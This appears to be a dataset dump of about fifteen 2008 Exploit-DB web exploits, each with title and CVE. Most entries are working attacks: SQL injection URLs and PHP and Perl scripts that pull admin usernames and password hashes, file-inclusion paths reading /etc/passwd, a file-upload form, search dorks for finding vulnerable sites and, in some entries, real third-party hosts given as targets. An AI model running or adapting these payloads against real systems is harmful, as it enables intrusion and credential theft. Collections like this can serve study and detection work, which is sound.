QLWD/code_shield huggingface dataset:
标题: Joomla! Component prayercenter 1.4.9 - 'id' SQL Injection EDB-ID: 5708 CVE: 2008-6429 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/      Joomla Component  prayercenter  Remote SQL injection     \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:"com_prayercenter"

[*] POC        : http://localhost/[Joomla_Path]/index2.php?option=com_prayercenter&task=view_request&id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index2.php?option=com_prayercenter&task=view_request&id=-1 UNION SELECT user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

[*] Note       : Sometimes you need to register for doing this exploit
                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...
[*] Greetings2 : http://www.palcastle.org/cc

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5708
标题: BP Blog 6.0 - 'id' Blind SQL Injection EDB-ID: 5705 CVE: 2008-2554 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-31 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              bp blog <= 6.0 Multiple Blind SQL Injection Vulnerability             +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: bp blog
[~] HomePage: http://blog.betaparticle.com/
[~] Exploit: Blind SQL Injection [High]
[~] Vuln file: template_permalink.asp
[~] Vuln file2: template_archives_cat.asp

[~] template_permalink.asp?id=[blind]
[~] template_archives_cat.asp?cat=[blind]

[~] Bug found by JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Dork: "Powered by bp blog 6.0"


[+] Compression:

[~] True: http://localhost/[path]/template_permalink.asp?id=78 and 1=1
[~] False: http://localhost/[path]/template_permalink.asp?id=78 and 1=2

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) >= 0
[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from tblauthor)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) = 1
[~] If you don't see any error, the table has 1 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorpassword) FROM tblauthor) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorusername) FROM tblauthor) >= 0
[~] If you don't see any error, the column exists.

[*] User and password:

[~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql query"
[~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78" -p id -a "./txt/user-agents.txt" -v1 --string "bp   blog" -e "<SELECT concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>"


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5705
标题: PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion EDB-ID: 5704 CVE: 2008-6423 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: dork: "powered by PassWiki"
example:
http://w3.funsrv.com/~konjo/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00
http://inajob.no-ip.org/passwiki/passwiki.php?site_id=../../../../../../../../../../../../../etc/passwd%00


author:mozi2weed@yahoo.com
http://rstzone.org

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5704
标题: EasyWay CMS - 'mid' SQL Injection EDB-ID: 5706 CVE: 2008-2555 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           EasyWay CMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        30.05.2008
#      Developer:      http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#                                                             
#      Dork:  inurl:"index.php?css=mid=art="
#      Admin Panel: [Target]/cms/
#      Usage: php '.$argv[0].' [Target] [Userid]
#      Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
#      => php '.$argv[0].' http://www.site.com 1
#                                                             
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
   $source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
   if (substr_count($source,'not a valid MySQL')!=$errorcount) {
      $errorcount2 = $i;
      $i = 1;
   }
}
for ($j=1; $j<$errorcount2; $j++) {
   $sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';   
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5706
标题: Social Site Generator 2.0 - 'sgc_id' SQL Injection EDB-ID: 5701 CVE: 2008-6421 2008-6420 2008-6419 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: < -------------------\__________________/------------------- >

#
#
# Application Name        : Social Site Generator
#
# DeMo                        : www.ssgdemo.com
#
#Download                   : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
#
# Vulnerable Type         : SQL InJeCtiOn
#
# Dork 1                       : display_blog.php
# Dork 2                       : social_my_profile_download
# Dork 3                       : social_forum_subcategories
#
# author                       : DeAr Ev!L
#
#
# Greatz                      : ALLAH
#                                : Genie & Roy5 & Mister-x
#                        
# Team                       : DeLtA MoRoCcAn tEaM
#
#Site Web                   : WwW.BHJA.NeT
#
< -------------------^_________________^------------------- >



< -- bug SQL start -- >

ADMIN :

www.path.com/path/display_blog.php?sgc_id=-4+union+select+1,admin_id+from+web_admin
www.path.com/path/social_my_profile_download.php?scm_mem_id=-1+union+select+admin_id,2,3,4+from+web_admin
www.path.com/path/social_forum_subcategories.php?catid=-1+union+select+1,2,admin_id+from+web_admin

Password :

www.path.com/path/display_blog.php?sgc_id=-4+union+select+1,password+from+web_admin
www.path.com/path/social_my_profile_download.php?scm_mem_id=-1+union+select+password,2,3,4+from+web_admin
www.path.com/path/social_forum_subcategories.php?catid=-1+union+select+1,2,password+from+web_admin

< -- bug SQL End -- >

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5701
标题: PHP Visit Counter 0.4 - 'datespan' SQL Injection EDB-ID: 5703 CVE: 2008-2556 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: ###############################################################
#
#           PHP Visit Counter <= 0.4 - SQL Injection Vulnerability
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack, Ciphercrew, h4ck-y0u
#      Date:                        30.05.2008
#
###############################################################
#                                                             
#      Dork:  inurl:"read.php?datespan="
#
#      Vulnerability:
#
#      1.) SQL Injection
#
#         1.1.) [Target]/read.php?action=read&cat=portal&datespan=null+group+by+null+union+select+1,2,ascii(substring(version(),1,1))/*
#
#      Notes:
#
#         Output is displayed as INT, so you've to convert it into ascii and
#         scan every single letter to get the whole name.
#         MySQL Data is stored in [Counterpath]/variables.php
#
###############################################################

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5703
标题: Mambo Component mambads 1.0 RC1 Beta - SQL Injection EDB-ID: 5692 CVE: 2008-5226 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-29 漏洞利用脚本: #!/usr/bin/perl -w

#   Mambo Component mambads  1.0 RC1 Beta & 1.0 RC1 Remote SQL Injection #
########################################
#[*] Found by : Houssamix From H-T Team 
#[*] H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
#[*] Greetz : Stack & CoNaN & HaCkeR_EgY & room-hacker & Hak3r-b0y & All friends & All muslims HaCkeRs  :) 
#[*] Script_Name: "Mambo"
#[*] Component_Name: mambads  1.0 RC1 Beta & 1.0 RC1
#[*] Dork: index.php?option=com_mambads


system("color f");
print "\t\t########################################################\n\n";
print "\t\t#                        Viva Islam                    #\n\n";
print "\t\t########################################################\n\n";
print "\t\t# Mambo Component mambads  Remote SQL Injection    #\n\n";
print "\t\t# H-T Team [HouSSaMiX - ToXiC350]                #\n\n";
print "\t\t########################################################\n\n";

use LWP::UserAgent;

print "\nEnter your Target (http://site.com/mambo/): ";
 chomp(my $target=<STDIN>);

$uname="username";
$passwd="password";
$magic="mos_users";
$pass1="imambo";
$pass2="aspen";
$pass3="ligio";
$pass4="qwally";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62))from/**/".$magic."/**";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] The Target : ".$target."";

if ($answer =~ /<user>(.*?)<user>/){
       
  print "\n[+] Admin User : $1";
}
$host2 = $target . "/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20".$passwd."/**/from/**/".$magic."/**";
$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;
if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Exploit succeed!  #\n\n";
}
else{print "\n[-] Exploit Failed...\n";
}
if ($answer =~/697d54f398600b7ff10860a4422a6ea3/){print "[+] md5 cracked :".$pass4."\n\n";}
if ($answer =~/53138ba09b49380fea0aa99bb9ab511d/){print "[+] md5 cracked :".$pass3."\n\n";}
if ($answer =~/68e3d2564cb5858e2b69f1f49dfe40a3/){print "[+] md5 cracked :".$pass1."\n\n";}
if ($answer =~/91a343c02e6c4e10b023216ecfcd69e7/){print "[+] md5 cracked :".$pass2."\n\n";}

# codec  by Houssamix From H-T Team
# special thx to : StaCk 

# milw0rm.com [2008-05-29] URL: https://www.exploit-db.com/exploits/5692
标题: PsychoStats 2.3.3 - Multiple SQL Injections EDB-ID: 5699 CVE: 2008-6422 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## rEm0te SQL InjEction VulnErability 
##
## PsychoStats Versions (( - v2.3 - v2.3.1 - v2.3.3 - )) ( map.php id ) & ( weapon.php id )
##                              
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL   -(:: ThE Geek InjEcT0r ::)-
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  :  SQL@Hotmail.it
##
#########################
#########################
##
## Script Name  : PsychoStats Versions (( - v2.3 - v2.3.1 - v2.3.3 - ))
##
## Download ScriptS : www.psychostats.com/downloads/
##
## D0rk F0r all Versions ::   "Powered by PsychoStats"
##
#########################
#########################

n0te :: Tables  (( psuser  0r  ps_user 0r psadmin 0r pas_admin )) get the table_name maybe Sites changed tables :))
     :: columns (( username 0r password 0r plr 0r name ))
       & in the exploit dont use -

n0te :: The Script have diffrent Versions you can get the source and search for other bugs


#########################
#########################
##
## PsychoStats v2.3 
##
## D0rK ::  "Powered by PsychoStats v2.3"
##
#########################
##
##   -(:: SQL ::)-
##
##    www.site.com/
##          weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
##
#########################
#########################



#########################
#########################
##
## PsychoStats v2.3.1 
##
## D0rK ::  "Powered by PsychoStats v2.3.1"
##
#########################
##
##   -(:: SQL ::)-
##
##   www.site.com/
##          map.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17--
##
#########################
#########################



#########################
#########################
##
## PsychoStats v2.3.3
##
## D0rK ::  "Powered by PsychoStats v2.3.3"
##
#########################
##
##   -(:: SQL ::)-
##
##     www.site.com/
##          weapon.php?id=1+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*       
##
#########################
#########################


#############################################################################

                      -(:: Gr3E3E3E3E3E3E3Tz ::)-

  :: HaCkEr-EGy :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: 

#############################################################################

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5699
标题: CMSimple 3.1 - Local File Inclusion / Arbitrary File Upload EDB-ID: 5700 CVE: 2008-2650 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: <pre>
#
# CMSimple 3.1 Local File Inclusion / Arbitrary File Upload
# download: http://www.cmsimple.org/?Downloads
# dork: "Powered by CMSimple"
#
# author: irk4z@yahoo.pl
# homepage: http://irk4z.wordpress.com
#


Local File Inclusion :

 http://[host]/[path]/index.php?sl=[file]%00
 http://[host]/[path]/index.php?sl=../../../../../../../etc/passwd%00


Arbitrary File Upload (into http://[host]/[path]/downloads/ ):
</pre>
<form method="POST" enctype="multipart/form-data" action="http://[host]/[path]/index.php?sl=../adm&adm=1" >
<input type="file" class="file" name="downloads" size="30">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="function" value="downloads">
<input type="submit" class="submit" value="Upload">
</form>

# milw0rm.com [2008-05-31] URL: https://www.exploit-db.com/exploits/5700
标题: FlashBlog - 'articulo_id' SQL Injection EDB-ID: 5685 CVE: 2008-2572 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-28 漏洞利用脚本: ###############################################################################
#
#   Name   : FlashBlog sql Inyeccion
#   Author : Her0
#   Dork   : "flashblog", allinurl:flashblog.html
#   Greetz : Komtec1,Freak,Knet,Boer,ka0x
#
###############################################################################

Proof of Concept :

    http://[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/*
   
   
The colums from host to host are diferent: all resolve =D
/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/*
/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/from/**/usuarios/*
/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/usuarios/*

   
###############################################################################
#
# Mexico 2008, Thanks all my friends, I love the whisky xD
#
###############################################################################

# milw0rm.com [2008-05-28] URL: https://www.exploit-db.com/exploits/5685
标题: PicoFlat CMS 0.5.9 (Windows) - Local File Inclusion EDB-ID: 5690 CVE: 2008-6604 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-29 漏洞利用脚本: ---------------------------------------------------------------------------
type attacak:Local File inclusion and that the possibility of a
Directory traversal Windows disclosure boot.ini

site name picoflatcms 0.5.9

download http://picoflat.altervista.org/index.php?

by gmda

<!-- gmda@email.it -->


---------------------------------------------------------------------------

bug code

<?php             if (eregi('://', $pagina) || eregi('\?', $pagina)) {
                $pagina = "";
                include "notfound.php";
            }else{
                include $pagina;             }
        ?>

p.o.c

http://127.0.0.1/path/index.php?pagina=/./././././././boot.ini

http://127.0.0.1/path/index.php?pagina=[file]

# milw0rm.com [2008-05-29] URL: https://www.exploit-db.com/exploits/5690
标题: AirvaeCommerce 3.0 - 'pid' SQL Injection EDB-ID: 5689 CVE: 2008-5223 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-29 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                             &nb sp;                                  |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title :: Remote SQL Injection
 
Author :: QTRinux [Qataro (at) hotmail (dot) Com]
Application :: AirvaeCommerce 3.0
 
Download :: http://www.airvaecommerce.com
Price :: $179
Dork 1 ::  powered by AirvaeCommerce 3.0
 
ShoutZ :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/ path script / ?p=vzh&pid= [SQL]
Example : /?p=vzh&pid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
           ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,concat(pwd,0x3a,email),47%20from%20usr%20where%20id=2/*

Note : Some site used SELECT statements have a different number of columns about 45  .
 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-29] URL: https://www.exploit-db.com/exploits/5689
标题: PHPhotoalbum 0.5 - Multiple SQL Injections EDB-ID: 5683 CVE: 2008-2501 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-28 漏洞利用脚本: ###############################################################################
#
#   Name   : PHPhotoalbum v0.5 Multiple Remote SQL Injection Vulnerabilities
#   Author : cOndemned
#   Dork   : intext:PHPhotoalbum v0.5
#   Greetz : ZaBeaTy, str0ke, TBH, Hawk, doctor, Sandtalker, Avantura ;**
#
###############################################################################

Proof of Concept : 

    http://[host]/[path]/thumbnails.php?album=-1+union+select+concat_ws(0x10,now(),version(),user(),database())/*
    
    http://[host]/[path]/displayimage.php?pid=-1+union+select+1,2,3,now(),version(),user()/*

    
###############################################################################
#
# Together we stand tall, Not gonna crash, not gonna fall - Children of Bodom
#
###############################################################################

# milw0rm.com [2008-05-28] URL: https://www.exploit-db.com/exploits/5683
标题: OtomiGen.x 2.2 - 'lang' Local File Inclusion EDB-ID: 5680 CVE: 2008-2782 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-27 漏洞利用脚本: [+] Author: Saime
[+] Script: OtomigenX v2.2 (lang) Local File Inclusion
[+] URL: http://kmrg.itb.ac.id/otomigenx/?menu=download
[+] Date: 28/05/2008
[+] Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke, and everyone else I forgot!
[+] Site: http://h4ck-y0u.org

[+] File: library_rss.php/rss.php
[+] Exploit:
http://localhost/otomigenx/rss.php?lang=../../etc/passwd
http://localhost/otomigenx/library_rss.php?lang=../../etc/passwd
[+] Demo:
http://kmrg.itb.ac.id/otomigenx/library_rss.php?lang=../../../../../etc/passwd
[+] Notes: Don, hows the threaded version going? lololol ( javascript:alert('noob'); ) or should it be plain xss? LOLOL

# milw0rm.com [2008-05-27] URL: https://www.exploit-db.com/exploits/5680
标题: Adobe Acrobat Reader 8.1.2 - '.PDF' Remote Denial of Service (PoC) EDB-ID: 5687 CVE: 2008-2549 类型: DOS 平台: WINDOWS 发布日期: 2008-05-29 漏洞利用脚本: Adobe Acrobat Reader <= 8.1.2 Reader Remote Denial Of Service
the reader deadly crash when a malformed Pdf file is opened:
00414141  AcroRd32.00414141

greetz to : Deimos, benjilenoob, Berga , http://spiritofhack.net/

Poc : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5687.pdf (2008-HI2.pdf)

# milw0rm.com [2008-05-29] URL: https://www.exploit-db.com/exploits/5687